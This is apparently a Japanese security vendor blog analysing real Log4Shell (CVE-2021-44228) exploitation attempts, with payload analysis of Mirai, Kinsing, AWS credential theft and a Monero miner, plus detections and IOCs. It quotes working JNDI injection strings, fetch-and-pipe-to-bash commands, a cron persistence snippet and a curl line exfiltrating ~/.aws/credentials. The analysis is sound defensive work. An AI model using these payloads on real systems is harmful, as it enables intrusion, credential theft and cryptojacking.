インサイトとリサーチ

ThreatLabzの分析 - Log4Shell CVE-2021-44228エクスプロイトの試行

ThreatLabzの分析 - Log4Shell CVE-2021-44228エクスプロイトの試行

Zscaler ThreatLabzチームは、「Log4Shell」と呼ばれるApache Log4jのゼロデイリモートコード実行脆弱性(CVE-2021-44228)に関連するエクスプロイトの試行の監視を続けています。

このブログでは、この脆弱性を利用して送り込まれるエクスプロイトペイロードの分析を紹介します。分析の過程でさらなる詳細が確認された場合、このブログを継続して更新してその詳細を紹介します。

Threatlabzは、この脆弱性に関連するセキュリティ勧告も公開しました。


この脆弱性の原因は何か?

Log4jロギングライブラリ(バージョン2.0~2.15)に存在する脆弱性により、攻撃者がログメッセージのパラメータをコントロールして、HTTP、LDAP、LDAPS、RMI、DNS、IIOPなどのさまざまなJNDIエンドポイントから読み込まれた任意コードを実行する可能性があります。

Apacheからパッチが公開された後の早い時期に確認されたエクスプロイトペイロードの大半は、HTTPおよびLDAPのプロトコルを使用して攻撃者のサーバから不正ペイロードを取得していましたが、現在は、RMI、DNS、IIOPなどの追加プロトコルを使用して脆弱なサーバにペイロードをダウンロードする例も確認されるようになっています。


Log4jエクスプロイトチェーン:その仕組み

攻撃者は、特別に細工したHTTP要求を脆弱なLog4jユーティリティを実行しているWebアプリケーションサーバに送信します。要求を受信したLog4jは、攻撃者がコントロールするサーバからJNDIリソースのロードを試行し、使用されるプロトコルのタイプに応じて、追加コンポーネントのロードも試行します。これらのコンポーネントには、ディスクやメモリにファイルを書き込んで最終ペイロードを実行できるシェルスクリプトやJavaクラスが含まれます。


Zscalerは、このLog4jエクスプロイトを利用してインターネットの脆弱なサーバを標的にする、MiraiやKinsing(クリプトマイニング)など複数のボットネットを確認しました。MiraiとKinsingに加えて、これらのエクスプロイトを利用するCobaltStrikeやランサムウェア関連の活動も報告されています。


確認されたエクスプロイトコマンド

${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCBodHRwOi8vNjIuMjEwLjEzMC4yNTAvbGguc2g7...
> wget http://62.210.130[.]250/lh.sh;chmod+x lh.sh;./lh.sh

${jndi:ldap://45.137.21.9:1389/Basic/Command/Base64/d2dldCAtcSAtTy0gaHR0cDovLzYyLjIxMC4xMzAuMj...
> wget -q -O- http://62.210.130[.]250/lh.sh|bash

${jndi:ldap://92.242.40.21:5557/Basic/Command/Base64/KGN1cmwgLXMgOTIuMjQyLjQwLjIxL2xoLnNofHx3...
> (curl -s 92.242.40[.]21/lh.sh||wget-q -O- 92.242.40[.]21/lh.sh)


攻撃者は、第2段階のペイロードを送り込む前に、ネットワークフィンガープリンティング手法を利用するようです。

インジェクションされたコマンドには、以下のように、被害者のサーバのIP/ポート情報が含まれており、不正ペイロードを送り込む前にこれらの情報がチェックされます。

${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1Lj…
> (curl -s 45.155.205[.]233:5874/<VICTIME-IP:PORT>||wget-q -O- 45.155.205[.]233:5874/<VICTIME-IP:PORT>)|bash


ペイロード分析

1. Miraiボットネット

シェルスクリプト lh.sh(MD5: cf2ce888781958e929be430de173a0f8)が、 62.210.130[...]250(攻撃者のサーバ)からダウンロードされます。このbashスクリプトが実行されると、被害者のマシンに複数のLinuxバイナリペイロードがダウンロードされます。また、このスクリプトは、ダウンロードしたペイロードに実行権限をセットして、実行します。

wget http://62.210.130[.]250/web/admin/x86;chmod+x x86;./x86x86;
wget http://62.210.130[.]250/web/admin/x86_g;chmod+x x86_g;./x86_gx86_g;
wget http://62.210.130[.]250/web/admin/x86_64;chmod+x x86_64;./x86_gx86_64;


これらのバイナリはいずれもMiraiボットネットファミリに所属し、コード構造は同じで、異なるアーキテクチャ(x86 32-bit、64-bit)に合わせてコンパイルされています。アーキテクチャをチェックするコードはなく、攻撃者はすべてのバイナリを実行して、いずれか1つが成功することを期待しています。

これらのMiraiバイナリは、ポート25565でC2ドメイン nazi[.]uyと通信するように構成されており、攻撃者から以下のコマンドを受け取ることができます。

  • UDPフラッド
  • SYNフラッド
  • ACKフラッド
  • TCP stompフラッド
  • GRE IPフラッド
  • 接続フラッド

2. Kinsingマルウェア

シェルスクリプトlh2.sh(MD5: 0579a8907f34236b754b07331685d79e)は、92.242.40[.]21/lh2.shからダウンロードされ、基本的には、ルートキット機能を備えたコインマイナであるKinsingマルウェアファミリに所属しています。

第1段階のbashスクリプト(lh2.sh)は、Kinsingバイナリをダウンロードする前に、被害者のサーバの複数のセキュリティプロセスを停止し、無効化します。これは、不正ペイロードが検知されて実行がブロックされないようにするためです。

Kinsingは、次のようなGolangベースのコインマイナです。

92.242.40.21_kinsing:ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=DhskS7dCbYzdqxBh_mSk/76qVIoHRKN1NNcfL8ADh/W157t201-UbEisb9Xatk/hOMqvN1a69kKMwHq_e_v, stripped


bashスクリプトはさらに、定期更新されるバージョンのbashスクリプトをリモートの場所からダウンロードして実行するcronjobを追加することで、永続性を確立します。

永続化

if [ $? -eq 0 ]; then
echo "cron good"
else
(
  crontab -l 2>/dev/null
  echo "* * * * * $LDR http://185.191.32[.]198/lh.sh | sh > /dev/null 2>&1"
) | crontab -
fi

history -c

rm -rf ~/.bash_history

history -c


ここで、$LDR値は被害者の環境によって異なり、「wget -q -O -」または「curl」のいずれかです。

185.191.32[.]198/lh.shは、最新のKinsingバイナリを80.71.158[.]12/kinsingからダウンロードして実行します。

3. 認証情報の不正取得

AWSの認証情報を不正取得して攻撃者がコントロールするドメインに送信する例もいくつか確認されました。

${jndi:ldap://176.32.33.14/Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIga…
> curl -d "$(cat ~/.aws/credentials)" https://c6td5me2vtc0000aq690gdpg14eyyyyyb[.]interactsh[.]com


4. Moneroマイナ

このエクスプロイトは、Linuxサーバだけでなく、脆弱なバージョンが動作中のWindowsサーバも標的にすることがわかりました。

Windowsバッチファイルmine.bat(MD5: 3814f201a07cf1a2d5c837c8caeb912f)は、lurchmath[.]org/wordpress-temp/wp-content/plugins/mine.batからPowershell経由でダウンロードされます。このダウンロードファイルはMoneroマイナに所属し、ウォレットアドレス42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LYを使用します。

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://142.44.203[.]85:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtQ29t...
> powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile =
[System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('http://lurchmath[.]org/
wordpress-temp/wp-content/plugins/mine.bat',$tempfile); & $tempfile
42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LY;
Remove-Item -Force $tempfile"


これに対し、mine.batは、hxxps://github.com/MoneroOcean/xmrig_setup/blob/master/setup_moneroocean_miner.batに見つかったものに似ています。


最新情報を以下に紹介します。


Zscalerによる検知

脅威の名前

検知ID

検知のタイプ

Apache.Exploit.CVE-2021-44228

47673

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47674

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47675

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47676

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47677

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47707

IPS Web - URL

Apache.Exploit.CVE-2021-44228

47708

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47711

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

47801

IPS Web - User-Agent

Apache.Exploit.CVE-2021-44228

124803

ファイルコンテンツ(Yara)

Apache.Exploit.CVE-2021-44228

-

ファイルレピュテーション

Linux.Trojan.Mirai

-

ファイルレピュテーション

Linux.Trojan.Mirai.LZ

-

URLレピュテーション

Linux.Rootkit.Kinsing

-

ファイルレピュテーション

Linux.Rootkit.Kinsing.LZ

-

URLレピュテーション


IOC(Indicator Of Compromise、侵害の指標)

Miraiのサンプル
40e3b969906c1a3315e821a8461216bb
6d275af23910c5a31b2d9684bbb9c6f3
1348a00488a5b3097681b6463321d84c

MiraiのC2
nazi[.]uy

MiraiのダウンロードURL
62.210.130[.]250/web/admin/x86
62.210.130[.]250/web/admin/x86_g
62.210.130[.]250/web/admin/x86_64

Kinsingのサンプル
648effa354b3cbaad87b45f48d59c616

Kinsingのシェルスクリプト
92.242.40[.]21/lh2.sh
80.71.158[.]12/lh.sh

KinsingのダウンロードURL
92.242.40[.]21/Kinsing
80.71.158[.]12/kinsing

永続化
185.191.32[.]198/lh.sh

上位のエクスプロイトサーバIP/ドメイン
18.185.60[.]131:1389
37.233.99[.]127:1389
45.137.21[.]9:1389
45.155.205[.]233:12344
45.155.205[.]233:5874
78.31.71[.]248:1389
92.242.40[.]21:5557
176.32.33[.]14
178.62.74[.]211:8888
198.152.7[.]67:54737
205.185.115[.]217:47324
qloi8d.dnslog[.]cn
u7911j.dnslog[.]cn
90d744e.probe001[.]log4j[.]leakix[.]net:1266
372d7648[.]probe001[.]log4j[.]leakix[.]net:9200
4a3b19ce6368.bingsearchlib[.]com:39356

Moneroマイナ
lurchmath[.]org/wordpress-temp/wp-content/plugins/
ウォレット:42JKzDhbU76Wbf7JSDhomw6utwLr3N8tjZXLzLwvTcPuP5ZGZiJAHwnD7dNf2ZSAh52i9cUefq2nmLK3azKBffkBMX5b1LY

参考資料

Get the latest Zscaler blog updates in your inbox

Subscription confirmed. More of the latest from Zscaler, coming your way soon!

By submitting the form, you are agreeing to our privacy policy.